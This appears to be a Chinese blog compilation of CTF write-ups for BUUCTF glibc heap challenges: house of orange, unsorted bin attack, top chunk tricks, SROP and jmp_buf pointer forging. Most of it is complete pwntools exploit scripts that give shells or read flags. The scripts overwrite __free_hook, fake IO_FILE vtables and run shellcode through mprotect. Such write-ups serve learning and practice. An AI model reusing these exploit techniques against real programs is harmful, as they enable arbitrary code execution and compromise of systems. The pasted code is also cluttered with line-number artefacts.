edit(1 ,p32(elf.got["puts" ])+p32(bss_adr+0x10 )+p32(elf.got["free" ])+p32(bss_adr+0x40 )) edit(2 ,p32(elf.plt["puts" ])) free (0 )libc_base=u32(ru(b"\xf7" ))-libc.sym["puts" ] edit(2 ,p32(libc_base+libc.sym["system" ])) free (3 )it() 
大概的源代码就是这里
remainder=chunk_af_offset(victim,nb)
我们如果把nb构造合适的值,就可以实现向前或者移动top chunk达到任意地址读写
house of orange 
题目中没有给free之类的接口 
可以修改top_chunk的size域 
 
houseoforange_hitcon_2016 BUUCTF在线评测 (buuoj.cn) 
挺复杂的一道题目,需要对libc源码有很清晰的分析
漏洞点分析 首先题目漏洞点很明确,edit可以随意溢出,但问题就是没有free函数
攻击前提 
调试 1 2 3 4 5 6 7 add(0x18,b"a",1,56746) payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1) edit(len(payload),payload,1,2) debug() add(0x1000,b"a",1,2) it() exit(0) 
这是分配之前的堆块size,可以看到top chunk size已经变了
泄露libc和堆地址 其实后面的过程就稍微好理解了,就是主要的新知识就在于怎么同时泄露堆地址和libc地址
1 2 3 4 5 6 7 8 add(0x18,b"a",1,56746) payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1) edit(len(payload),payload,1,2) add(0x1000,b"a",1,2) debug() add(0x3f8,b"a",1,2) it() exit(0) 
这里可以看到有个unsorted bin,也就是上面我们free掉top chunk得到的,那么接下来就是要重新认识一下unsorted bin
1 2 3 4 5 6 7 8 9 10 11 12 add(0x18,b"a",1,56746) payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1) edit(len(payload),payload,1,2) add(0x1000,b"a",1,2) add(0x3f8,b"a",1,2) show() ru(b"Name of house : ") libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))-0x7feee024d161+0x7feedfe88000 edit(0x10,b"a"*0x10,1,2) show() ru(b"Name of house : aaaaaaaaaaaaaaaa") heap_addr=u64(rld().ljust(8,b"\0")) 
攻击malloc_printrr 首先利用unosrted bin attack往IO_list_all写入main_arena地址,然后利用这个过程中会
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 add(0x18,b"a",1,56746) payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1) edit(len(payload),payload,1,2) add(0x1000,b"a",1,2) add(0x3f8,b"a",1,2) show() ru(b"Name of house : ") libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))-0x7feee024d161+0x7feedfe88000 edit(0x10,b"a"*0x10,1,2) show() ru(b"Name of house : aaaaaaaaaaaaaaaa") heap_addr=u64(rld().ljust(8,b"\0")) payload=p64(0)*0x7f+p64(0x21)+p64(0)*2+b"/bin/sh\0"+p64(0x61)+p64(0)+p64(libc_base+libc.sym["_IO_list_all"]-0x10)#unsorted bin attack+fake size fake_IO_structure=p64(0)+p64(1)+p64(0)*0x15+p64(heap_addr+0x500) payload+=fake_IO_structure fake_vtable=p64(0)*3+p64(libc_base+libc.sym["system"]) payload+=fake_vtable edit(len(payload),payload,1,2) sla(b"Your choice : ", b"1") it() 
这里我们主要做了就是修改unsorted bin的size,并且修改了bk指针(unosrted bin attack)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 int _IO_flush_all_lockp (int do_lock) {   int result = 0;   struct _IO_FILE *fp;   int last_stamp;       last_stamp = _IO_list_all_stamp;//0   fp = (_IO_FILE *) _IO_list_all;   while (fp != NULL)     {       run_fp = fp;       if (do_lock)     _IO_flockfile (fp);         if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)        )       && _IO_OVERFLOW (fp, EOF) == EOF)     result = EOF;         if (do_lock)     _IO_funlockfile (fp);       run_fp = NULL;         if (last_stamp != _IO_list_all_stamp)     {       /* Something was added to the list.  Start all over again.  */       fp = (_IO_FILE *) _IO_list_all;       last_stamp = _IO_list_all_stamp;     }       else     fp = fp->_chain;     }   #ifdef _IO_MTSAFE_IO   if (do_lock)     _IO_lock_unlock (list_all_lock);   __libc_cleanup_region_end (0); #endif     return result; } 
现在再来解释为什么要伪造size
1 2 3 4 # define _IO_flockfile(_fp) \   if (((_fp)->_flags & _IO_USER_LOCK) == 0)				      \      _IO_lock_lock (*(_fp)->_lock) 这个_IO_USER_LOCK为0x8000,如果if为真,那么我们就直接会完蛋,因为下面这个函数执行会出错 
而main_arena里面对应的mode>0,所以第二个if也跳过
1 2 3 # define_IO_funlockfile(_fp) \   if (((_fp)->_flags &_IO_USER_LOCK) == 0)				      \ _IO_lock_unlock (*(_fp)->_lock) 
感觉这个exp不稳定就是_IO_flockfile引起的,所以有时候会挂掉,额不管了就是还是直接打就好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./houseoforange_hitcon_2016" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug") libc = elf.libc if "2.23" in libc.path:     one_gadget = [0x4526A, 0x45216, 0xF02A4, 0xF1147] elif "2.27" in libc.path:     one_gadget = [0x4F2C5, 0x4F322, 0x10A38C] else:     one_gadget = [] if len(sys.argv) > 1:     remote_ip = "node4.buuoj.cn"     remote_port =27842     io = remote(remote_ip, remote_port) else:     io = process(elf_path) def debug():     gdbscript = """     b *$rebase(0xD68)     b *$rebase(0xDA5)     c     x/xg $rebase(0x203070)     x/3xg $rebase(0x203068)     """     gdb.attach(io, gdbscript=gdbscript) #<=010000 def add(size,content,price,color):     sla(b"Your choice : ", b"1")     sla(b"Length of name ",str(size))     sa(b"Name :",content)     sla(b"Price of Orange:",str(price))     sla(b"Color of Orange:",str(color))    def show():     sla(b"Your choice : ", b"2") def edit(size,content,price,color):     sla(b"Your choice : ", b"3")     sla(b"Length of name ",str(size))     sa(b"Name:",content)     sla(b"Price of Orange:",str(price))     sla(b"Color of Orange:",str(color)) add(0x18,b"a",1,56746) payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1) edit(len(payload),payload,1,2) add(0x1000,b"a",1,2) add(0x3f8,b"a",1,2) show() ru(b"Name of house : ") libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))-0x7feee024d161+0x7feedfe88000 edit(0x10,b"a"*0x10,1,2) show() ru(b"Name of house : aaaaaaaaaaaaaaaa") heap_addr=u64(rld().ljust(8,b"\0")) payload=p64(0)*0x7f+p64(0x21)+p64(0)*2+b"/bin/sh\0"+p64(0x61)+p64(0)+p64(libc_base+libc.sym["_IO_list_all"]-0x10)#unsorted bin attack+fake size fake_IO_structure=p64(0)+p64(1)+p64(0)*0x15+p64(heap_addr+0x500) payload+=fake_IO_structure fake_vtable=p64(0)*3+p64(libc_base+libc.sym["system"]) payload+=fake_vtable edit(len(payload),payload,1,2) sla(b"Your choice : ", b"1") it() 
把mmap出来的块用top chunk分配 secretHolder_hitcon_2016 BUUCTF在线评测 (buuoj.cn) 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./secretHolder_hitcon_2016"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 28722      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      b *0x400AF8     b *0x4009D2     c     x/4xg 0x06020A0     " ""     gdb.attach(io, gdbscript=gdbscript) def add(size: int , content: bytes):     sla(b"3. Renew secret\n" , b"1" )     sla(b"3. Huge secret\n" , str(size).encode())     sa(b"secret: \n" , content) def free (index: int ):     sla(b"3. Renew secret\n" , b"2" )     sla(b"3. Huge secret\n" , str(index).encode()) def edit(index: int , content: bytes):     sla(b"3. Renew secret\n" , b"3" )     sla(b"3. Huge secret\n" , str(index).encode())     sa(b"secret: \n" , content) add(3 , b"a" ) free (3 )add(1 , b"a" ) add(2 , b"a" ) free (2 )free (1 )ptr = 0x6020A8  payload = (     p64(0 )     + p64(0x21 )     + p64(ptr - 0x18 )     + p64(ptr - 0x10 )     + p64(0x20 )     + p64(0x90 )     + p64(0 ) * 17      + p64(0x21 )     + p64(0 ) * 3      + p8(1 ) ) add(3 , payload) free (2 )add(1 , b"a" ) edit(3 , p64(0 ) * 2  + p64(elf.got["puts" ]) + p64(ptr - 8 ) + p64(elf.got["free" ])) edit(1 , p64(elf.plt["puts" ])) free (2 )libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - libc.sym["puts" ] edit(     3 ,     p64(libc_base + next(libc.search(b"/bin/sh\0" ))) + p64(ptr) + p64(elf.got["free" ]), ) edit(1 , p64(libc_base + libc.sym["system" ])) free (2 )it() 
这个题目的删除函数只会把flag位清空,但可以一直free
edit会在flag为1编辑
首先分析free函数
no_dyn_threshold为0,表示我们开启了动态threshold大小,这就是导致漏洞的根源,利用动态调整大小来扩大top chunk可以分配的范围
mp_.mmap_threshold初始大小为0x20000,DEAFUALT大小为0x2000000,这里我们刚好满足
所以我们这里调整了threshold的值,这里因为用mmap分配的时候有页对齐,0x61A80对齐到了0x62000
这里free之后我们比较一下两次sysmalloc的区别
第一次由于是初始状态所以走mmap分配
第二次由于我们修改之后所以if不满足
开始走topochunk分配
计算需要的size nb就是malloc的size+0x10,mp_.top_pad就是0x20000
同时当分配largebin的时候,如果有free的fastbin,会把fastbin合并
malloc_consolidate首先把main_arena的flag清空,表示没有free的fastbin
大循环就是fb从fastbiny[0]的地址一直到fastbiny[10]的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 fb = &fastbin (av, 0 );     do  {       p =atomic_exchange_acq (fb, 0 );,把fastbin里面的值改成0 ,头结点的值取出来       if  (p != 0 ) { 	do  { check_inuse_chunk(av, p); nextp = p->fd; size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA); 	  nextchunk =chunk_at_offset(p, size); 	  nextsize =chunksize(nextchunk); 	  if  (!prev_inuse(p)) { 	    prevsize = p->prev_size; 	    size += prevsize; 	    p =chunk_at_offset(p, -((long ) prevsize)); unlink(av, p, bck, fwd); 	  } 	  if  (nextchunk !=av->top) { 	    nextinuse =inuse_bit_at_offset(nextchunk, nextsize); 	    if  (!nextinuse) { 	      size += nextsize; unlink(av, nextchunk, bck, fwd); 	    } else  clear_inuse_bit_at_offset(nextchunk, 0 ); 	    first_unsorted = unsorted_bin->fd; 	    unsorted_bin->fd = p; 	    first_unsorted->bk = p; 	    if  (!in_smallbin_range (size)) { 	      p->fd_nextsize = NULL ; 	      p->bk_nextsize = NULL ; 	    } set_head(p, size |PREV_INUSE); 	    p->bk = unsorted_bin; 	    p->fd = first_unsorted; set_foot(p, size); 	  } 	  else  { 	    size += nextsize; set_head(p, size |PREV_INUSE); av->top = p; 	  } 	} while  ( (p =nextp) != 0 );       }     } while  (fb++ != maxfb); 
top chunk上移 actf_2019_actfnote BUUCTF在线评测 
这个题目很不错里面有strdup来分配堆,由于strdup的原字符串保存在栈上,而栈上刚好也有可以泄露libc地址的东西,同时可以溢出修改top chunk的size然后分配一个负数,就会上移
malloc的size不能再-0x40~0这个范围内
不错的题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 #!/usr/bin/python3 #  -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * import ctypes it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./ACTF_2019_ACTFNOTE"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 26733      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "       b *0x400A20     c     x/4xg 0x6020E0     " ""     gdb.attach(io, gdbscript=gdbscript) # <=0x20  def add(size: int , name: bytes, content: bytes):     sla(b"/$ " , b"1" )     sla(b"note name size: " , str(size).encode())     sa(b"input note name: " , name)     sa(b"note content: " , content) def free (index: int ):     sla(b"/$ " , b"3" )     sla(b"input note id: " , str(index).encode()) def show(index: int ):     sla(b"/$ " , b"4" )     sla(b"input note id: " , str(index).encode()) def edit(index: int , content: bytes):     sla(b"/$ " , b"2" )     sla(b"input note id: " , str(index).encode())     sa(b"input new note content: " , content) def convert_str_asmencode(content: str):     out = ""      for  i in content:         out = hex(ord(i))[2 :] + out     out = "0x"  + out     return  out add(0x18 , "a" , "b"  * 0x17  + "\xde" ) show(0 ) ru(b"\xde" ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\x00" )) - 0x7FB6238E23F2  + 0x7FB623854000  add(0x18 , b"a" , b"a" ) edit(1 , b"/bin/sh\0"  + b"a"  * 0x10  + p64(-15  + (1  << 64 ))) add(-0x100 , "a" , "2" ) edit(2 , b"a"  * 0x10  + p64(libc_base + libc.sym["__free_hook" ])) edit(0 , p64(libc_base + libc.sym["system" ])) free (1 )it() 
unsorted bin attack cscctf_2019_final_childrenheap BUUCTF在线评测 (buuoj.cn) 
同样利用unsorted bin attack,不过在我们利用unsorted bin attack修改free——hook上方之前可以先free掉0xx68的块,这样不需要修复unsorted bin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./cscctf_2019_final_childrenheap"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 28960      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "       b *$rebase(0xD48)     c     x/10xg $rebase(0x2020A0)     x/5xg $rebase(0x202060)     " ""     gdb.attach(io, gdbscript=gdbscript) def add(index: int , size: int , content: bytes):     sla(b">> " , b"1" )     sla(b"Index: " , str(index).encode())     sla(b"Size: " , str(size).encode())     sa(b"Content: " , content) def free (index: int ):     sla(b">> " , b"4" )     sla(b"Index: " , str(index).encode()) def show(index: int ):     sla(b">> " , b"3" )     sla(b"Index:" , str(index).encode()) def edit(index: int , content: bytes):     sla(b">> " , b"2" )     sla(b"Index: " , str(index).encode())     sa(b"Content: " , content) add(0 , 0x18 , b"a" ) add(1 , 0x68 , b"a" ) add(2 , 0x18 , b"a" ) add(3 , 0xF8 , b"a" ) add(4 , 0x18 , b"a" ) free (0 )edit(2 , p64(0 ) * 2  + p64(0xB0 )) free (3 )add(0 , 0x18 , b"a" ) show(1 ) ru(b"content: " ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - 0x7F26245F0B78  + 0x7F262422C000  add(3 , 0x68 , b"a" ) add(5 , 0x100 , b"a" ) free (2 )add(2 , 0x28 , b"a" ) add(6 , 0xE8 , b"a" ) free (2 )global_max_fast_offset = 0x3C67F8  edit(5 , p64(0 ) + p64(libc_base + global_max_fast_offset - 0x10 )) add(2 , 0x28 , b"a" ) free (6 )edit(     5 ,     p64(0 ) * 5      + p64(0x21 )     + p64(0 )     + p64(libc_base + libc.sym["__free_hook" ] - 0x1D )     + p64(0 )     + p64(0xD1 ), ) free (3 )add(6 , 0x18 , b"a" ) edit(1 , p64(libc_base + libc.sym["__free_hook" ] - 0x10 )) add(3 , 0x68 , b"/bin/sh\0" ) add(7 , 0x68 , p64(libc_base + libc.sym["system" ])) free (3 )it() 
rctf_2019_babyheap BUUCTF在线评测 
这个题目挺复杂的,需要好好分析
感想都在下面
这里就是exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 #!/usr/bin/python3 #  -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./rctf_2019_babyheap"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ]     global_max_fast_offset = 0x3C67F8  elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ]     lobal_max_fast_offset = 0x0  else :    one_gadget = []     lobal_max_fast_offset = 0x0  if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 29090      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     # calloc b *$rebase(0x10FE)      gdbscript = "" "       b *$rebase(0x11E7)     c     x/10xg $rebase(0x202110)     " ""     gdb.attach(io, gdbscript=gdbscript) # <=4096  无洞 def add(size: int ):     sa(b"Choice: \n" , b"1" )     sa(b"Size: " , str(size).encode()) # 不会溢出 def edit(index: int , content: bytes):     sa(b"Choice: \n" , b"2" )     sa(b"Index: " , str(index).encode())     sa(b"Content: " , content) def free (index: int ):     sa(b"Choice: \n" , b"3" )     sa(b"Index: " , str(index).encode()) def show(index: int ):     sa(b"Choice: \n" , b"4" )     sa(b"Index: " , str(index).encode()) def convert_str_asmencode(content: str):     out = ""      for  i in content:         out = hex(ord(i))[2 :] + out     out = "0x"  + out     return  out def convert_frame_bytes(frame):     res = b""      for  i in frame.values():         res += p64(i)     return  res add(0x18 )  # 0  add(0x18 )  # 1  add(0xF8 )  # 2  add(0x600 )  # 3  free (0 )edit(1 , p64(0 ) * 2  + p64(0x40 )) free (2 )add(0x18 )  # 0  show(1 ) libc_base = u64(rld().ljust(8 , b"\0" )) + 0x7F6913DBD000  - 0x7F6914181B78  add(0x118 )  # 2  free (1 )add(0x28 )  # 1  add(0xE8 )  # 4  free (1 )global_max_fast_addr = libc_base + global_max_fast_offset edit(2 , p64(0 ) + p64(global_max_fast_addr - 0x10 )) add(0x28 )  # 1  free (4 )free_hook_addr = libc_base + libc.sym["__free_hook" ] edit(     2 ,     p64(0 ) * 5      + p64(0x71 )     + p64(0 )     + p64(free_hook_addr - 0x20 )     + p64(0 ) * 11      + p64(0x81 ), ) add(0x68 ) free (4 )edit(2 , p64(0 ) * 5  + p64(0x71 ) + p64(free_hook_addr - 0x13 )) add(0x68 ) add(0x68 ) new_addr = free_hook_addr & 0xFFFFFFFFFFFFF000  mprotect_addr = libc.sym["mprotect" ] + libc_base frame = SigreturnFrame() frame.rsp = free_hook_addr + 0x8  frame.rdi = new_addr frame.rsi = 0x1000  frame.rdx = 7  frame.rip = mprotect_addr edit(3 , convert_frame_bytes(frame)) setcontext_addr = libc_base + libc.sym["setcontext" ] shellcode = f"" "  xor rsi,rsi; xor rdx,rdx; push rdx; mov rax,{convert_str_asmencode(" ././flag")}; push rax; mov rdi,rsp; xor rax,rax; mov al,2; syscall; mov rdi,rax; mov dl,0x40; mov rsi,{free_hook_addr} mov al,0; syscall; xor rdi,rdi; mov al,1; syscall; " "" read_shellcode = f"" "  xor rsi,rsi; xor rdx,rdx; mov rdi,1; mov dx,0xffff; mov rsi,{new_addr}; xor rax,rax; mov al,0; syscall; mov rax,{new_addr}; jmp rax; " "" edit(     5 ,     b"a"  * 3      + p64(setcontext_addr + 53 )     + p64(free_hook_addr + 0x10 )     + asm (read_shellcode), ) # debug() free (3 )s(asm (shellcode)) it() exit (0 )
这个题目比较不错,网上有很多种不同的利用方式,这里我就介绍我当时大概的利用方式,具体漏洞原因就在题目里面分析啦 rctf_2019_babyheap 
init 这是我第一次要这么认真看init,因为开启了挺多保护的seccomp 
add add里面不写内容,并且使用calloc,所以说我们之前的那种什么free unsorted bin再malloc不管用,因为calloc会清空堆内容,别的没洞
free 没洞,清理的很干净
show 没啥好说的,一般的show操作,大概率用来泄露libc
edit 由于前面的洞不多,那么只有可能这个有洞
小结 到目前位置,题目就只有一个漏洞,off by one,但这个也是很严重的,我们可以利用off by one进行unlink的操作,刚好这里都是unosrted bin,那么可以直接用unsorted bin来unlink,或者对于unsorted bin来说,更好的说法就是unsorted bin的堆块重叠
攻击 这里第四个块本来是为了防止unsorted bin合并到top chunk,但后面因为需要构造一个比较大的堆里面存放srop的内容,所以我就先申请了个比较大的,主要用到的就是前3个堆
泄露libc free(0) 
1 2 3 4 5 add(0x18)  # 0 add(0x18)  # 1 add(0xF8)  # 2 add(0x600)  # 3 free(0) 
chunk伪造 1 edit(1, p64(0) * 2 + p64(0x40)) 
合并 
泄露libc 因为我们idx 1的块还存在,所以只要unsorted bin的fd和bk刚好在我们idx1块内就可以泄露,于是再分配0x18个字节
1 2 3 add(0x18)  # 0 show(1) libc_base = u64(rld().ljust(8, b"\\0")) + 0x7F6913DBD000 - 0x7F6914181B78 
再一次堆块重叠 利用原有的堆块重叠,我们重新做一次重叠,这次目的就是让我们能够修改的size变大,而不仅仅是原来的-x18
收回后续的内存 这里的2就是后面所有的unsorted bin大小,然后我们再free掉1,因为1刚好就只想的是0x118的头
重叠 可以看到我们的idx2对整个区域都是有写的权限的
unsorted bin attack 利用条件 
可以控制unsorted bin的bk 效果就是往任意地址写入一个较大的值,这个值其实就是unsorted_bin(av)的地址 
 
攻击 
1 2 add(0x28)  # 1 add(0xE8)  # 4 
修改unsorted bin的bk为指定地址 1 2 3 free(1) global_max_fast_addr = libc_base + global_max_fast_offset edit(2, p64(0) + p64(global_max_fast_addr - 0x10)) 
unsorted bin attack 再malloc一个同样大小的块(这里一定要大小一样,这个大小是指实际需要的大小,比如说我们最终大小是0x30,这里可以写0x19~0x28)
跟踪源码 开始跟踪源码
_int_malloc 
当我们需要分配的size小于unsorted bin大小 
恢复unsorted bin 这里可以看到我们成功的利用了unsorted bin,但可以发现现在无法malloc了,因为我们的unsorted bin结果坏了,我们需要恢复unsroted bin 由于现在fast bin很大,我们基本上很多大小的size都可以进入fastbin
uaf jmper_seccon_2016 漏洞比较明显,一个uaf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 #!/usr/bin/python3 #  -*- coding: utf-8 -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "jmper_seccon_2016" lib_path="" #lib_path="/home/zhou/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64" parm=elf_path #parm=[elf_path,"127.0.0.1","3339"] elf = ELF(elf_path) context(arch=elf.arch, log_level="debug") if lib_path:     libc = ELF(f"{lib_path}/libc.so.6") else:     libc=elf.libc if len(sys.argv) > 1:     remote_ip = "node4.buuoj.cn"     remote_port = 26167     io = remote(remote_ip, remote_port) else:     if lib_path:         io = process(parm,env= {'LD_LIBRARY_PATH': lib_path})     else:         io = process(parm) def debug():     global io     gdbscript = """     b *0x400884     c     x/20xg *0x602030     """     gdb.attach(io, gdbscript=gdbscript) def debug_force():     global io     io.close()     gdbscript = """     b *0x400884     c     """     io=gdb.debug(parm, gdbscript=gdbscript) def add():     sla(b"6. Bye :)\n",b"1") # def free(idx): #     sla(b"Choice:\n",b"3") #     sla(b"Input the user id:\n",str(idx)) def show_name(idx):     sla(b"6. Bye :)\n",b"4")     sla(b"ID:",str(idx)) def edit(idx,content):     sla(b"6. Bye :)\n",b"2")     sla(b"ID:",str(idx))     sa(b"Input name:",content) #溢出,可以修改堆指针 def write(idx,content):     sla(b"6. Bye :)\n",b"3")     sla(b"ID:",str(idx))     sa(b"Input memo:",content) def show_mem(idx):     sla(b"6. Bye :)\n",b"5")     sla(b"ID:",str(idx)) def rol(val,k):     s=bin(val)[2:]     return int(s[k:]+s[:k],2) def ror(val,k):     s=bin(val)[2:]     return int(s[-k:]+s[:len(s)-k],2) # def convert_str_asmencode(content: str): #     out = "" #     for i in content: #         out = hex(ord(i))[2:] + out #     out = "0x" + out #     return out #debug_force() add() write(0,b"a"*32+b"\x00") edit(0,b"a"*8+p64(elf.got["puts"])+b"\n") show_name(0) libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))-libc.sym["puts"] add() write(1,b"a"*32+b"\x70") edit(1,b"a"*8+p64(0x602038)+b"\n") show_name(1) jmpbuf=u64(rud(b"1.").ljust(8,b"\x00")) add() add() write(3,b"a"*32+b"\x50") edit(3,b"a"*8+p64(jmpbuf+0x38)+b"\n") show_name(3) secret_val=u64(r(8)) secret=ror(secret_val,0x11)^0x400C31 system_addr=libc_base+libc.sym["system"] target_val=rol(system_addr^secret,0x11) add() write(4,b"a"*32+b"\xc0") edit(4,b"a"*8+p64(jmpbuf+0x38)+b"\n") edit(4,p64(target_val)+b"\n") add() write(5,b"a"*32+b"\x30") edit(5,b"a"*8+p64(jmpbuf)+b"\n") edit(5,b"/bin/sh\n") for i in range(25):     add() it() 
wdb_2018_2nd_Fgo BUUCTF在线评测 (buuoj.cn) 
